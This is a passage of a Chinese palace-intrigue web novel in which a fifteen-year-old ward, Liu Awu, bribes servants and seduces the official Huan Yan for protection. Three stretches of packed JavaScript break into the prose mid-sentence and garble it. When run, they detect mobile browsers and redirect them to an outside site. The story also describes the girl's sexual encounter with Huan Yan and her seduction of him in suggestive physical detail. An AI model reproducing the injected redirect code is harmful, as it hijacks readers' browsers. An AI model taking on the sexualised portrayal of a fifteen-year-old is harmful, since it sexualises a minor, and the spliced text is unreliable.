她想查清楚,可是侯府的一切把控在谢氏手里,这些年虽然谢氏会带着她一起掌家理事,可交到她手上的都是跑腿传话的差事,即便是理账管事也都是很表面的,她没机会深究,所以大公子就是她的希望,因为侯府总有一日会是大公子的。 到那时候,她便有机会了。 可是现在一切都成了泡影,若是大公子出事,她这十年算是白白蹉跎浪费了。 阿五不怕死,可她不想任人践踏,更不想不明不白地死。 “姑娘,喝药了。”珍珠端着滚烫的药碗进来,看了她一眼便道,“姑娘的脸这般红,定是又发热了。” 阿五自小体弱多病常发热吃药,她自己早就习以为常了,只有珍珠每次都担心惦记着,苦口婆心叮嘱她吃药吃饭,贴心得紧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859813|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“没事。”柳阿五接过药碗一饮而尽,她没多少时间了,得赶紧抓住手里能抓住的一切,比如桓晏。 大公子走了,二公子成了侯府的长子,虽然谢氏不喜可是这侯府还是侯爷说了算。 从桓晏进门的第一日,柳阿五便看出来侯爷对二公子的喜爱。 或许是因为失散多年,或许是因为二公子手握权柄是陛下眼前的红人,前途甚至比大公子还要广阔,又或许是侯爷对二公子亲娘的感情…… 虽然不知当年发生了什么,但是看到夫人和二公子的态度不难猜出,他们之间是有矛盾的。 这些年柳阿五寄人篱下,早学会了察言观色见机行事,本就聪慧的小娘子早早便能摸清楚每个人的喜好命门,说话做事总能叫人舒服受用。 沐浴后恢复了些精神,柳阿五重新更衣挽发准备去静怡堂看望谢氏。 皮肉细嫩,上一次被那人搓磨的痕迹已经浅淡了些,柳阿五轻轻揉捏那酸疼的部位,这副身子被豢养得十分精细,他们都以为她早就是大公子的人了,却不知竟是桓晏夺了她的清白。 当时大公子去世的消息愈演愈烈,种种迹象不由得人不信,其实到现在为止柳阿五早已不抱希望了。 她害怕,怕极了。 大公子的消息传出后,她更是遭遇了前所未有的麻烦。 主子们商议要将她送人,以换取支持同盟联名向陛下上书,夫人为了大公子可以不计一切代价,好在侯爷理智,暂时打消了这个念头。 可是府中却疯传她会成为家妓,供家中郎君和贵客消遣取乐。 更有甚者,像赖嬷嬷这样有些脸面的奴仆,也想求主子将她赏人玩。 她怕极了,于是豁出一切去找了桓晏。 那一晚,她只是稍稍展露一下自己的手段,虽然知道他冷肃无情,可是柳阿五愿意赌,赌他是个男人。 令她没想到的是,第一次桓晏便要了她。 他是武将出身,力大且要的凶,足足折腾了一宿直到她哭着告饶,他才意犹未尽地放了她。 那一晚过后,她浑身是伤,几次都觉得自己已经死去了。 既然他毫不客气,那柳阿五也没有隐瞒,在他身下一遍一遍求他护着自己,哭着告诉他,她有多害怕。 不知道他听进去了多少,但是直觉告诉她,这个男人和其他人不一样。 可是他今日又为何不见她? 拿乔?还是只一次便厌弃了她,柳阿五眉头紧锁,即便如此她也不能放过这唯一的希望。 既然已经失身于他便要跟他死磕到底,若那桓晏当真是个小人,柳阿五也早已想好,死了也要拉个垫背的,不成功便也不能让他好过。 从衣柜深处拿出一件正红色绣交颈鸳鸯的小衣,鲜艳柔软,小小的如同一方绢帕,落在手上细滑绵软,不自觉便让人想起小衣下本该遮蔽的艳色。 明日她要出去,去隐世阁。 那是一间名气很大的茶楼,据说有上好的茶还有胡姬侍奉,花样繁多。 果然,是男人都喜欢去那种地方。 柳阿五坐在妆奁前,镜子里出现了一位水灵灵天然芙蓉般的小娘子。 有了这件小衣,不信他桓晏还会拒绝她。 4. 诱之 静怡堂前灯火通明,远远看过去,两个丫头守在门外打瞌睡,想来谢氏应当是睡下了。 走出回廊站在院子里,柳阿五特意挪开伞任由大雨将自己淋湿,这才重新撑伞走过去。 丫头听到动静醒过来,看见是她先是一愣忙起身行礼后唤出赖嬷嬷。 赖嬷嬷是谢氏的陪房最得谢氏信任,若想今晚的事能够瞒过谢氏还有明日顺利出府,应承好这位赖嬷嬷是关键。 大公子私下里给了她不少东西,阿五本想将金牡丹步摇拿去给赖嬷嬷封口,可是左瞧右瞧都觉得可惜,虽然这步摇她从未戴过恐怕日后也不会戴,可是一想到要送给那等人就舍不得了,最后再三权衡才拿了一枚白玉观音挂坠。 这挂坠也是大公子送的,说是给她未来中意的人,她哪里还会有什么中意的人,连未来恐怕都快没有了,这挂坠玉质上乘可毕竟是男子佩戴之物,她留着也用不上,索性送出去吧。 看到柳阿五一身狼狈而来,赖嬷嬷忙将她拉进屋里,又叫人端来热水和巾帕帮她擦身,“我的乖儿,你这是怎么了。” “嬷嬷快别忙活。”柳阿五接过巾帕,“我怎能劳动嬷嬷伺候我。” 赖嬷嬷的老脸上露出笑容,“你是个乖巧的,今儿怎么回来这么晚。” 柳阿五一边擦手一边撸掉腕上的金镯,“劳嬷嬷帮我拿一下,这不大雨路不好走,偏巧今日贵妃娘娘身子不舒服,我便在外头多等了一会儿。” 算是解释了晚归的原因。 赖嬷嬷点头,看着她慢慢擦拭身上的雨水,那双粗糙的老手摸了又摸那扎实厚重的金镯心中泛酸,这丫头还真是得了不少好东西。 “好孩子,难为你一回来就过来看夫人,夫人晚间病得凶,这会儿刚喝了药睡下了。” 阿五点头,“今晚我就守在这里,嬷嬷去休息吧,您老忙活一日也辛苦了。” 这话倒是受用,赖嬷嬷笑道:“你的孝心老奴心领了,大夫说今晚凶险,老奴还是守在这里,不然也不放心。” 面前的小娘子真真是个美人,雪峰细腰,皮肤白得似玉,赖嬷嬷想,就这般浑身淋透的勾人模样若是叫哪个郎君看了去,还不得就此得了相思病。 柳阿五往屋里瞧了瞧,隔着屏风其实什么都瞧不见,愁着一张小脸道:“那又要辛苦嬷嬷了,若是有什么吩咐您尽管使唤我。” 赖嬷嬷心道,这张小嘴惯是会哄人,若当真大公子回不来,她便要向夫人讨了这个小狐狸精去,给她家那个傻儿子开开荤。 人的心思往往能从眼神中流露出来,柳阿五只当没瞧见,假意往外走,却被赖嬷嬷拉住了。 “姑娘忘了东西。”是方才让她帮着拿的金镯子。 柳阿五推辞,“嬷嬷辛苦,这是我的孝心,您收着别说是我笼络您的,全当您心疼我,替我伺候夫人。” 说完轻咳几声,瞬时红了面颊。 她样貌出色脾性柔软,真心做出哄人的温顺样子,又是这般我见犹怜的可怜相,就是那天上神仙见了也保管心甘情愿听她吩咐。 果然,赖嬷嬷的一张老脸瞬时挤出褶子,将那镯子直接套在自己手上,喜笑颜开道:“姑娘真是心疼老奴,那我就收下了。” 如此,甚好。 阿五拉着赖嬷嬷的手坐下,轻轻揉捏她的肩颈,“我索性晚间无事,陪着嬷嬷多坐一会儿帮您松快松快。” 她学的侍奉人的能耐绝佳,谢氏就最喜欢她捏肩捶腿的手法。 赖嬷嬷得意地闭上眼,“真是老了不中用了,夫人这次也是能折腾,就连喝药都要老奴亲自伺候,旁人还不行。” 谢氏折腾的人的法子数不尽,即便是在她身边侍奉再贴心的老人,也难逃她的手段,好像折腾别人看到别人痛苦对她而言似有无穷乐趣。 “那也是因为嬷嬷最了解夫人最合夫人心思。”柳阿五嘴甜,认真哄起人来句句说到人心坎里,叫人极受用。 赖嬷嬷拍了拍她的手,“还是你贴心,我若有你这样的闺女该多好啊。” 一句玩笑话而已,柳阿五知道赖嬷嬷最是宝贝她家那个傻儿子,遂拿出玉坠道:“瞧您说的,我那哥哥多好,又听话又孝顺,这般郎君人家求都求不来,我今日出门刚好看到这块玉坠,想着哥哥的生辰快到了,提前送个生辰礼吧。” 玉质油润莹白细腻,雕刻的观音栩栩如生,一看便知是上等的物件,赖嬷嬷跟着谢氏自然也是见多识广,将那玉坠拿在手里反复摸索,咂摸道:“这可是好东西啊,让你破费了,你等着,我那儿子马上就到。” 柳阿五一怔,暗暗叫苦怎么这么巧,门帘已经被人打开,一个高大肥胖嘴歪眼斜的少年进来,傻呵呵咧嘴一笑:“娘。” 这个傻子是赖嬷嬷唯一的儿子,小时候是个聪明伶俐的孩子,只有一次不小心打碎了谢氏最爱的梅花玉净瓶,被谢氏罚跪在雨里一整晚,后起了高烧病了三日,醒来后就变得痴傻了。 赖嬷嬷敢怒不敢言,谢氏自知理亏便给了赖嬷嬷丰厚的赏银又许了她诸多便宜,还保证日后管她这个傻儿子娶妻生子,这才堪堪稳住这个老嬷嬷的心。 但是柳阿五瞧着,赖嬷嬷心里是有疙瘩的,这是人性。 “哥哥。”柳阿五忍着恶心笑着向傻子行礼。 傻子看见她眼珠子快瞪出来了,一双手直往□□里掏,嘴巴里含混不清咕噜着:“要,要。” 傻子十八了,早该娶媳妇了,可谢氏的承诺始终未曾兑现,憋得傻子日日想法子疏解,都快落下毛病了。 赖嬷嬷好歹是谢氏身边有脸面的嬷嬷,赶紧拉着傻儿子坐在自己身边,“要,有,这里什么都有,快看看你妹妹给你带什么好东西了。” 白玉观音在傻子眼前只一晃,赖嬷嬷便赶紧把桌上的点心拿去打发他了。 有了吃的傻子的注意力瞬间被转移,狼吞虎咽起来,赖嬷嬷觉得面上无光,叹了一口气道:“小时候是个多聪慧乖巧的孩子,好多个算命的都说这娃日后是宰相的料。” 这个时候尽管往大了吹,柳阿五安慰她,“嬷嬷别难过,福气还在后头呢。” 赖嬷嬷讪讪一笑,这个话题便不再说了。 看着面前乖巧俊俏的小娘子,赖嬷嬷心里盘算着等大公子的事情落地了,找个机会向夫人求了这个丫头来,算是夫人还她的。 三人坐着,柳阿五瞧了瞧吃得满脸渣的傻子心里直犯恶心,不自觉蹙眉,纤细的素手按压住额角,面露难色。 赖嬷嬷惊问:“可是老毛病又犯了,准是今日累着了。” 阿五的病是打小落下的,府内无人不知,听她如此说便也没否认。 “可怜见儿的,这没个两三日都下不来床。”赖嬷嬷扶起她朝外走,“赶紧回去吧,夫人这边有我呢。” 阿五也不推辞白着脸点头道谢,“那便辛苦嬷嬷了。” 到底是两件好玩意儿的劲儿大,顶得赖嬷嬷颇有几分真心道:“放心歇着吧,这几日不太平你也少出去走动。” 说完又压低声音附耳道:“听说敬王殿下遇刺了,流了好多血。” 柳阿五愣住了,她才见过敬王便遇刺,怎得这般巧合…… * 翌日,风停雨住阳光灿烂。 隐世阁里一片繁华热闹。 此间茶楼一年前在京城开起来,听名字不像个茶楼,内里也的确丰富了些。 统共三层装饰得富丽堂皇,好茶自是不能少,胡姬歌舞更是吸引人,自开张以来日日人满为患,生意兴隆,一座难求。 但世人不知的是,茶楼只是个幌子,在这隐世阁的地下还有更大更广阔的一方天地,高耸入顶的一排排书格摆满了案卷文书,上面是朝廷官员及世家大族的把柄和阴私之事。 小到某九品芝麻官纳妾成瘾却又不能人道这种闺房秘辛,大到二品大员贪墨屯田、豢养私兵这样灭九族的大事,可谓无所不有。 不是不爆,时候未到。 隐世阁明面上的老板叫袁子与,字小以,二十有三孤家寡人,出身汝南袁氏,世家大族中的一个另类,早些年因看不惯世族行事作风屡屡惹祸被族中除名,如今闲云野鹤倒是乐得自在。 这袁子与除了经营隐世阁以外还有一癖好,便是替人做文章科考并以此牟利。 每年科考之时便是他大肆敛财之际,文章俊秀、才华横溢,替考生们代笔收取高昂的酬金,即便是被人查到只要咬死口不承认,也不能拿他怎么样。 雅间里,袁子与大剌剌地斜靠在软垫上,一条腿撑起,长臂闲散地搭在膝上,一边慢慢啜饮今年新下来的春茶,一边一脸哀怨地看着对面兰芝玉树的男人。 “我说,那个事真查不了,都多少年前的陈芝麻烂谷子了,这沭阳公主……” 桓晏一个凌厉的眼风扫过来,袁子与立马闭了嘴。 “那你自己去同贵人说。”桓晏垂眸拿出食盒里的点心,慢慢品味。 点心精美香气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859814|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四溢,很美味的样子。 “我说,什么点心这么金贵,连一块都不让我尝。” 被噎了一句,袁子与翻了个白眼再不提查不了的事,话题换到桓晏手中的点心上。 桓晏带来的食盒里装了四样点心,花开富贵、碧波荡漾、吉祥如意和佳偶天成,分别是粉韵桃花酥、浆果酸乳酪、金桔山楂点和藕粉桂花糕。 “独乐乐不如众乐乐,怀松你也不是小气的人,对吧。” 袁子与伸出手就去够点心,还未触碰到便被桓晏“啪”地打了手,力道之大瞬间红了手背。 “哟哟哟,你小点儿劲儿,就你这力气若是娶了娘子,恐怕得被你折腾没命。” 袁子与苦着脸怼他。 桓晏一怔,似乎想到了什么,口中的桃花酥险些掉了。 袁子与仍不死心,看着他那张千年不变的冰山脸,勾唇笑问:“莫不是哪家小娘子所赠,怀松视若珍宝。” 桓晏不接话,反问他:“今年春试你又赚了多少?” 说起这个袁子与一脸得意,手指敲击桌面摇头晃脑道:“那些个废物家中殷实出得起银子,我这是辛苦所得,谁叫他们脑中空空,蠢不可及。” 大夏朝子建朝以来多仰仗世家大族,前些年皇族式微,自惠帝登基以来扶持了一批又一批寒门子弟,局面似有扳平的趋势,世族逐渐感受到了压力,但是百年来的繁茂昌盛世族子孙早已养尊处优不思进取,或有出类拔萃如桓启元者也是凤毛麟角屈指可数,其他的,都是些酒囊饭袋纨绔子弟,不堪一用。 “这些人拿着你的文章科考入仕在朝为官,又将是一群祸害。”桓晏素来节制有度每样糕点吃了一块,便不再多吃,慢慢地又装回到食盒里。 “切,你以为我不替他们做文章他们就不能入仕了吗。”袁子与撇嘴,“整个朝廷都腐烂了,又不差这一个两个,我不愿同他们为伍却又不能如你一般……” 话题戛然而止,袁子与坐正身子伸出手,“我说你就让我尝一口总可以吧,今日怎的这般小气。” 桓晏不答他的话,垂眸饮茶道:“这番话你可敢在贵人面前说。” 袁子与哑口,也歇了再跟他讨要点心的心思。 只道:“怀松我倒是想要劝劝你,凡事看开些,不必这么负重,活得太累没意思。” 桓晏长指捏起茶盏,白瓷细腻莹润同他的手比起来倒失了几分颜色。 “我与你不同。”他声音淡淡,抬眸看向窗外。 日光透过竹簟洒在他的脸上,凌厉英俊的眉眼淬了细碎的金光,柔和得仿佛暖阳下的潺潺流水。 “你当放松些。”袁子与起身走到外廊下,这里是茶楼三层,楼下便是热闹繁盛的街市,人来人往烟火缭绕。 “你才是这隐世阁的主人,如今手握这些人的把柄,想参谁还不是易如反掌,何须搞得这么麻烦。” 袁子与肤色并不白,却占了个眉清目秀姿态潇洒,长衫被风吹起,墨发飘飘风流倜傥,顿时引来楼下一众小娘子们羞涩勾魂的眼神和嬉笑。 “证据在手定罪容易,那就太便宜他们了。” 桓晏饮尽白瓷盏中的青色茶汤,将那圆润小巧的瓷盏握在手中,这细腻温暖的手感似曾相识,一瞬间好似想到了什么。 “主子。”昌平进门放下一个方匣和一封信,扫了一眼那食盒低着头敛住哀怨的眼神默默退出。 “什么东西?”袁子与来了兴致,从廊外走进来想要去拿昌平放下的东西,却对上了那双阴鸷深邃的黑眸,漆黑凌厉,好似利剑出鞘般的寒光直指向他。 “不看就不看嘛,瞪我作甚。” 袁子与扫了一眼那书信上的簪花小楷,俊秀细腻字如其人。 “是个美人。”袁子与戏谑道,“没想到怀松千年铁树竟是要开花了吗,难不成这糕点也出自这美人之手?” 他一脸坏笑看着桓晏,见他不语,凑近又问,“该不会是什么定情信物吧。” 冷若冰霜的一张脸看向他,眸中如淬寒冰杀气腾腾,“是我送你走,还是你自己走。” 长剑出鞘的声音刺入耳膜,袁子与彻底败下阵来,快速拉开距离怏怏道:“好好,我走行了吧,护得心肝宝贝似的,谁稀罕。” 长腿甩过潇洒起身,白色外衫飘飘,风流公子麻溜出门,刚一出现在廊下立时引来娇俏甜美的女郎们叫声连连。 与此同时,屋内一件女子的小衣被桓晏握在手心里摩挲。 5. 上钩 此刻,柳阿五正坐在隐世阁二楼的雅间里。 已经两个时辰了,面前的茶水喝得饱胀,实在无趣便唤来跑堂买了些茶叶,清茶花茶各选了一些,打算回去送人。 昌平去了许久未见归来,阿五坐得心焦,楼下时不时传来男子们兴奋喝彩的声音,鼓乐间隙还能听到高声调笑和胡姬们的嘤嘤软语。 阿五不喜这里,胡姬很美、茶水很香,气氛热烈让人兴奋,但是她并不爱这样的热闹,吵得脑瓜子嗡嗡响。 别管目的为何,这些年谢氏培养她的确是花了心思的,琴棋书画都是请最好的老师,柳阿五自小天赋极佳,养成了上佳的审美便再看不得这些俗物。 敬王说桓晏经常来此地,真是让她没有想到,那样清隽冷性之人竟也喜欢这种繁杂充满烟火气息的地方,倒是同他的气质格格不入。 所以,这个人到底有多少副面孔。 门外传来脚步声,阿五听出是昌平忙起身过去迎。 昌平朝她拱手行礼,“主子请姑娘过去。” 总算是肯见面了,阿五心中默默疏了一口气却不急着走。 昨日害得昌平小哥挨了板子,虽知他练过功夫这点儿小伤不算什么,可毕竟祸是自己闯的,连累了旁人被罚阿五实在过意不去。 “这是我昨晚碾的药包,好在药材齐全,昌平小哥回去用水煮开敷在患处能好得快一些。” 阿五从袖袋中拿出几个小包递给昌平,“这是我为自己犯错的弥补,还请昌平小哥不要嫌弃。” 药包做得精致,被捧在她的掌心中散发出阵阵清新的香气,昌平一怔瞬时红了脸,想要推辞却说不出拒绝的话。 对面的少年约莫十七八岁的样子,因常年在外皮肤黑了些却显得格外结实,大大的眼睛充满善意,阿五知道昌平是个心思纯良的人,此刻必定犹豫不敢接。 “你不说,他不会知晓。”阿五将药包塞进昌平手中,“伤好得快当值才更爽利。” 面对温柔贴心的小娘子,昌平无法拒绝,看着她微微弯起的眼睛,身后的阳光透过窗牖照在她周身,整个人都散发着光芒。 就像那天上下凡的神仙娘娘。 昌平忙道谢,“多谢姑娘。” 窘迫羞涩让这个平日里看着有几分凶的少年变得可爱起来,阿五笑了,“是我的歉意,昌平小哥不必如此,若是不嫌弃,就唤我阿五吧。” 昌平觉得脸更热了,一抬头对上那张笑眯眯的脸,自己竟也笑了。 明明阿五就是比自己还要小的小娘子,人家大大方方地致歉,自己何须如此扭捏倒显得小家子气了。 “好嘞。”昌平咧开嘴笑,将药包小心收好比手请阿五先行。 “我家主子这会儿正同这隐世阁的老板说话。”昌平一边说一边帮她引路。 阿五点头细细听着。 “主子今日心情不错。”昌平想起方才看到桓晏竟吃了好几块平日碰都不会碰的甜食,“姑娘不必害怕,其实主子人很好。” 昌平是个自来熟的性子,拿了阿五的药包便将她当成了朋友,话自然多了一些。 阿五感激,冲他笑了笑,“多谢。” 小娘子实在生得明艳,只这样微微一笑便让人仿佛看到了天上彩虹一般,那样美好,昌平下意识摸了摸揣在怀里的药包,阿五是个好姑娘。 二人上了三楼,昌平请阿五进去。 屋内没有燃香,倒是在靠墙的案几上摆着一排时鲜的瓜果,自然香甜的气息让人觉得很放松很舒服。 桓晏今日穿的常服,窄袖青色袍,戴交脚铺幞头素银腰带,通身上下无一件多余饰品,显得整个人干练利落,越发显得不近人情。 “给二公子请安。” 面前的女子着鹅黄色抹胸裙,外衫雪白配同色披帛,簪白玉发簪薄施粉黛,尤显双眸清澈见底。 柳阿五今日特意装扮得低调素雅,只那两腮因仍在病中泛出自然的红晕,竟比上了胭脂还要娇嫩。 “姑娘可真是花样繁多啊。”尾音上扬,带着轻蔑和鄙夷。 绣着交颈鸳鸯柔软鲜红的小衣上被丢在阿五面前。 柳阿五直直跪着,也不言声。 她低着头,纤细柔弱的身形因生病又跪着显得格外脆弱易碎。 “姑娘费尽心机引我入局,究竟受何人指使。”声音冷肃,阿五听到了清脆瓷器碰撞的声音。 原来他是误会了,柳阿五暗自舒了一口气,诚恳道:“奴婢只想求条活路,所为全是自己,并未受任何人指使。” 她一个通房丫头,能有多少利用价值,柳阿五自己都不敢这样想,他倒是高看她了。 “哼。”桓晏轻笑,“昨晚姑娘可是忙得很呐。” 阿五一顿,莫非去敬王府被他知晓了,那敬王遇刺……果然,皇城司手眼通天,是她疏忽了。 柳阿五暗自后悔,早知道应当先说出来敬王图谋之事,或许还能换来他的信任。 “他让你做什么?” 桓晏自上而下看着她,瘦弱伶仃的女子眸中尽是谨慎和害怕,一紧张便不由自主地轻轻咬住的下唇是阿五下意识的动作,看上去很可怜。 收回视线,桓晏翻出一个新的白瓷盏,“过来。” 柳阿五瑟瑟起身,不知所措。 他身量很高,这般端端正正地坐在她的面前,魁梧精壮。 “坐下,陪我喝茶。” 柳阿五不明所以,这个人一会儿冷厉一会儿又淡然,只能乖乖听命行事。 “敬王殿下让奴婢结交二公子。”柳阿五踌躇开口,“奴婢既已将自己交给二公子便绝不会背叛,假意答应他只是为了保全自身……” “啪”的一声响,碎瓷落地,四分五裂。 柳阿五吓得怔愣,张着嘴泪水夺眶而出。 “他欺负你了?”桓晏抬眸看她,咬牙切齿凶神恶煞。 眼中燃着火面上淬着冰,阿五不知他为何突然发火,更是从未在任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859815|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何一个人脸上看到两种截然相反的表情,似地下阎罗,叫人害怕。 “没有。”美人垂眸落泪,被吓得双唇颤抖着,好容易才吐出这两个字。 “你若想我帮你,日后便离他远一些。”桓晏的声音缓和了许多,可即便如此听上去仍冷冰冰的。 阿五抬眸,觉得委屈。 那可是高高在上的敬王啊,他是皇子,阿五要如何才能躲得过呢。 美人泪水划过面颊:“如何拒绝,请二公子赐教。” 梨花带雨道不尽的委屈心酸,又带三分任性撒娇的意味,像是在怪他不懂她的苦楚和身不由己。 果然,英雄难过美人关,如此一远一近一冷一热若即若离的招数似乎对桓晏有些用处。 “只管找借口拒绝,其他的,不用你操心。”桓晏的声音终于带了一丝温度。 阿五点头,“我尽力一试,那大公子究竟……” 甫一开口就对上桓晏投过来的凌厉目光,“不该问的莫要开口,我有我的规矩,姑娘若是不懂规矩,日后便不要再求到我这里了。” 生气了。 又生气了。 真是太难伺候了,阿五无奈又有些后悔,是自己太急于求成了,若真是惹恼了他岂不前功尽弃。 窗外晴空万里,屋内茶香四溢,那人却冷若冰霜。 海棠醉日莺惭燕妒的少女跪在桓晏脚边,细细捡起掉落的碎瓷,柔软素手无意中撩拨着男人的小腿,“我知道了。” 软软的细声萦绕耳边,桓晏垂眸,掐腰将她撑起:“姑娘做甚。” 美人我见犹怜哭软在他掌心,“求二公子救我。” 说完,阿五顺势从后抱住他的劲腰。 “我是想依靠二公子,可是你态度不明飘忽不定,从未给过我一句准话,我害怕,怕夫人折磨我,怕他们将我送给人糟蹋,大公子待我清清白白,我亦不愿为人消遣。” 纤细柔嫩的手臂又瘦又软,环在桓晏的腰上,虽使了力气却仍觉得像丝带软缎一般轻盈柔滑,身后的温柔让他悄悄挺直了几分,春衫轻薄,女子那处柔软饱满的存在让他无法忽视。 忽地想起上一次他们的荒唐,她整个人是干净绵软的,娇声软语泪水涟涟,就连攀在他腰上的双腿都是纤细无力的。 这些年真不知道她是怎么锻炼身子的,竟如一团棉花一般没骨头似的。 “不知二公子,吃的……还合胃口吗。”柳阿五的眼神落在那食盒上,意有所指,心里默默感谢昌平。 “晚间奴婢再奉上大餐,送到您的私宅去,请二公子细细把玩品尝,可好。” 勾魂摄魄的容貌、温柔细语的声音,阿五的媚浑然天成,是与生俱来的。 私宅是陛下赐给桓晏的,没几个人知道,上一次他们就是在那里折腾了一夜。 听闻此言,桓晏想拨开她手臂的手明显一顿,并未言声,片刻后扯掉她径直离去。 阿五瘫软在地,松了一口气。 6. 幽会 春色撩人,桃红柳绿。 回府的马车上,柳阿五听着窗外热闹嘈杂的人声,这才觉得自己活了过来。 有多久没有看过街市的风景了,又有多久没有自由自在地玩乐笑闹过了,好像从那年起就没有过,十年了,她才十五岁,却过成了饱经风霜机关算尽的日子。 马车停在侧门,府内依旧安静。 柳阿五下了车便去找了管家梁伯。 梁伯是和阿五差不多年份入的府,私下里对她倒是颇有照顾,柳阿五试探几次车夫,嘴巴严得很,便知是梁伯的意思。 大约是觉得她可怜吧,对此阿五并未多想。 果然,梁伯接到阿五送给他的茶叶时惊诧又激动,连连道谢,“姑娘不必如此客气,都是老奴应当的。” “梁伯待阿五,这是阿五孝敬您的。” 老人家爱吃茶,阿五待梁伯是真心,跟对待赖嬷嬷不一样。 “晚间我还要出去,烦请梁伯……” 阿五话未说完,梁伯点头,“姑娘有事尽管去忙,只当心些,身子要紧别太劳累了。” 梁伯每次都这几句,很像是家中长辈对晚辈的叮咛,让阿五觉得亲切。 辞别梁伯阿五穿过东院去二房的西院,给六姑娘桓含嫣送花茶。 桓含嫣是二房桓仲望的嫡女,端庄守礼温婉大方,是个与世无争的性子,素来不争不抢对大房礼数周到又保持着距离,平日里不怎么走动只和柳阿五格外投缘。 含嫣喜饮茶又精通茶道,阿五捧着新上的花茶加快了脚步。 可是六姑娘不在房中,丫头说:“姑娘出去散心去了,好似得了什么不好的消息,这几日心绪不佳,吃的都少了许多。” 阿五点头记下了,暗悔这几日自己太忙忽略了含嫣,不知道她在为何事烦心。 “明日我做些甜点和饮子再给你们姑娘送过来,让她开开胃口。” 丫头连连道谢,又说了几句阿五辞出。 回到了翠竹轩便赶紧吩咐珍珠烧热水洒牛乳,再铺上一层花瓣,她要细细沐浴更衣上妆,再放出风去说自己受了风寒早早睡了。 天色擦黑,一辆蓝顶马车从侯府后门低调驶出。 * 宅院古朴低调,连匾额都没有,柳阿五的马车依旧从侧门进入。 还是昌平守在门口,柳阿五奉上食盒,熟络道:“上次的点心昌平小哥恐怕是没吃到,这一份独给你做的,请尝尝我的手艺。” 昌平笑得灿烂欣然收下,“阿五手巧,闻着就馋了。” 他是个单纯的直爽人,和这样的人相处让阿五十分珍惜。 听闻桓晏独自在房中,阿五谢绝昌平带路,想要独自执灯前往。 她需要酝酿情绪,虽然知晓瞒不过也不必瞒着昌平,可这种事仍旧还是一个人面对的好。 灯下美人双目炯炯言辞恳切,昌平点了点头后退一步将手中的灯笼给她,又叮嘱了路线,这才告退。 这位姑娘在自家主子心里头是有些分量的,昌平心中有数,不然也不会上一次破例为她通报,只不过主子的心思实在难以捉摸,害他挨了板子。 夜风拂面碎石铺路,发丝飞扬在空中,借着莹莹烛光柳阿五走得很慢,每一步脚下都铬得生疼,使得每一步都变得尤其艰难。 留得青山在不怕没柴烧,疼一下能保住性命也是值得的。 若了无牵挂,柳阿五不惧死亡,可冥冥之中总有一种感觉,谢氏撒谎,一定另有隐情,她想要知道真相,阿爹阿娘只有她一个女儿,又视若珍宝绝不会卖女求生。 一步步逼近主屋,脚步也越发坚定。这宅子里下人不多,一路行来柳阿五没有见到一个人,若不是听到悠扬的琴声都险些以为没有人在。 琴声自正房内传出,是柳阿五喜欢的词调。既有轻灵婉转之美,又具整饬变化之美,词曲相得益彰,令人心驰神往。 这样好听的曲子不知叫什么,又是何人所作,柳阿五想着,仔细脚下一步步终于走完了石径小路,若得机会不妨问一问。 飞檐翘角,在月色下显得格外幽暗肃穆,阿五回头看看整个院子,一眼望到头,树木并不十分高大似乎还未长成,无法遮天蔽日甚至连视线都遮挡不了,花花草草更是没有,偶尔遇到的小景也是枯木乱石堆成的小桥流水,简陋了些却格外有野趣。 时下大夏朝流行奢靡之风,达官贵人的府院也颇奢靡,花团锦簇耀眼夺目视为最佳,可是柳阿五却极喜欢这种看似废料随手堆砌的小景,实则只要稍加留心观察里头的结构、比例甚至搭配都十分有讲究,是那种不经意的美,却美得更有曲折的味道,或许不同的人看在眼里会得到不同的景,这样才有意思。 “还不进来。” 一道熟悉又冷肃的声音响起,柳阿五赶紧敛神,又扶了扶鬓边的步摇,这才收拢衣襟走进去。 进门便看到六扇红框嵌百宝博古屏风,繁复热闹,红得耀眼,倒是不像他的风格。 柳阿五只打量了一眼,觉得这种没有主题却让人看不够的东西很有意思。 屋内依旧简洁干净,没有多余的摆件装饰,能看到通天高大木架上摆满的书籍和卷宗纸张,桓晏盘膝坐在矮椅上,临窗抚琴,透过窗牖吹入丝丝夜风,将他泼墨般的长发吹起,颇有几分潇洒不问世事的姿态,与平日里见到的那个肃然冷面一丝不苟的皇城使判若两人。 他抬眸看向站在雕花月洞门下的柳阿五,精致的五官,温柔的气质,未施粉黛竟比那等浓妆艳抹还要勾人的模样,只静静地站在那里便无法让人忽视她的存在。 柳阿五今日打扮得很素净,月白衣裙在烛灯下若隐若现玲珑曲线,去除了金银珠钗只斜插了一支素银步摇,是那种清水出芙蓉的韵味。 “没想到二公子的琴技如此了得。” 柳阿五略有些惊讶,微微屈膝行了个礼很自然地走过去坐在了桓晏身边。 